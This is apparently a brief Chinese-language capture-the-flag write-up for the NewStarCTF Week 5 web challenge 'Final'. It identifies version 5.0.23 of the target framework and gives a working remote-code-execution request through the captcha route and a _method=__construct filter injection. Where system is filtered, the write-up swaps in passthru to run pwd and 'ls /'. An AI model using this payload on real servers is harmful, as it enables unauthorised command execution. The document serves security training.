NewStarCTF WEEK5|WEB Final

胡乱输一些东西得到版本5.0.23

get:
/index.php?s=captch
post:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
但是system被过滤了我们可以用passthru代替
get:
/index.php?s=captch
post:
_method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=ls /